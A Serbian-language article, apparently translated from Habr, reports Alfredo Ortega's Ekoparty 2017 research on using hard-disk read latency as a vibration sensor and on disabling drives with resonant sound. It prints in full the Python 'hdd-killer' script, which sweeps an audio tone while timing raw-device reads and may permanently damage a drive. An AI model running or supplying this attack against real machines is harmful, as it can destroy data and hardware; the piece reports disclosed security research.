
На конференцији о рачунарској безбедности Екопарти 2017 у Буенос Ајресу, аргентински хакер Алфредо Ортега показао је веома занимљив развој – систем за тајно прислушкивање просторија без употребе микрофона. Звук !
ХДД углавном прима нискофреквентне звукове високог интензитета, кораке и друге вибрације. Људски говор се још не може препознати, иако научници (препознавање говора по нискофреквентним вибрацијама, које се снимају, на пример, са жироскопа или ХДД-а).
Звук је вибрација ваздуха или другог медија. Особа их перципира кроз бубну опну, која преноси вибрације на унутрашње уво. Микрофон је дизајниран отприлике као уво - и овде се вибрације снимају танком мембраном, која побуђује електрични импулс. Чврсти диск је, наравно, такође подложан микроскопским вибрацијама због флуктуација околног ваздуха. Ово је познато чак и из техничких карактеристика ХДД-а: произвођачи обично указују на максимални дозвољени ниво вибрација, а сам чврсти диск често покушава да га стави у контејнер отпоран на вибрације направљен од гуме или другог изолационог материјала. Из овога је лако закључити да се звукови могу снимити помоћу ХДД-а. Остаје само да се схвати како.
Алфредо Ортега је предложио јединствену верзију бочног напада, односно временски напад. Овај напад се заснива на претпоставци да се различите операције обављају на уређају у различито време, у зависности од датих улазних података. У овом случају, „улазни подаци“ су вибрације главе за читање и ХДД плоче, које су у корелацији са вибрацијама околине, односно са звуком. Дакле, мерењем времена рачунања и извођењем статистичке анализе података, могу се мерити вибрације главе/плоче, а тиме и вибрације медијума. Што је дуже кашњење у читању података, то су јаче вибрације ХДД-а, а самим тим и гласнији звук.
Како измерити вибрације чврстог диска? Веома једноставно: само покрените системски позив read () — и забележите време које је потребно да се заврши. Савремени оперативни системи вам омогућавају да читате време системских позива са тачношћу од наносекунде.
Брзина читања информација из сектора зависи од положаја главе и плоче, што је у корелацији са вибрацијама кућишта ХДД-а. То је све.
Статистичка анализа се врши коришћењем једноставног услужног програма Ксцопе. Како кажу, све генијално је једноставно.

Ксцопе услужни програм (стат() системски позив)
Ксцопе је мали услужни програм за визуелизацију ситних разлика у времену извршавања системских позива. Извор.
У посебном спремишту постоји верзија услужног програма конфигурисана за временски напад на чврсти диск, односно конфигурисана да анализира системски позив read ().
Демонстрација снимања звука помоћу ХДД-а, рад услужног програма Ксцопе

Наравно, говор се не може разумети на овај начин, али ХДД је сасвим прикладан као сензор вибрација. На пример, можете да региструјете ако је особа која носи чврсте ципеле или боса ушла у просторију са рачунаром (вероватно, ако нападач носи мекане патике или је на поду дебео тепих, ХДД неће моћи да региструје вибрације - ово вреди проверити). Рачунар је у стању да региструје разбијено стакло или друге инциденте са јаким интензитетом звука. То јест, чврсти диск може послужити као нека врста система за откривање неовлашћеног упада.
ХДД убица
Узгред, слична техника се може користити за онемогућавање чврстих дискова. Међутим, овде не снимамо вибрације са ХДД-а, већ генеришемо вибрације које се преносе на ХДД. Ако репродукујете звук са звучника на фреквенцији која резонира са фреквенцијом ХДД-а, систем ће ускоро искључити уређај са И/О грешком (језгро). Linux (Ово потпуно искључује HDD након 120 секунди.) Сам чврсти диск може бити неповратно оштећен.

Језгро Linux Хард диск се искључио након 120 секунди репродукције звука на резонантној фреквенцији кроз УСБ звучник Edifier r19u. Звучник је био укључен на око четвртину своје снаге (мање од 100 mW) и постављен 20 цм од хард диска, усмерен ка столу да би појачао вибрације. Слика из уз демонстрацију убице ХДД-а
Занимљиво је да се такви „напади“ на ХДД понекад дешавају потпуно случајно у свакодневном животу. На пример, у септембру 2016, центар података ИНГ банке је био приморан да обустави рад на 10 сати након ватрогасне вежбе. због гласног звука инертног гаса који се испушта из цилиндара под високим притиском. Звук је био веома гласан (више од 130 дБ), али не можете ни да вичете на чврсте дискове - ово повећава кашњење у приступу ХДД-у.
Демонстрација људског вриштања на чврстим дисковима у дата центру. Мерење кашњења

Да би произвео резонантни звук, Алфредо Ортега је написао Питхон скрипт под називом ().
Прилично је мали, тако да га можете у целости објавити овде.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Извор: ввв.хабр.цом
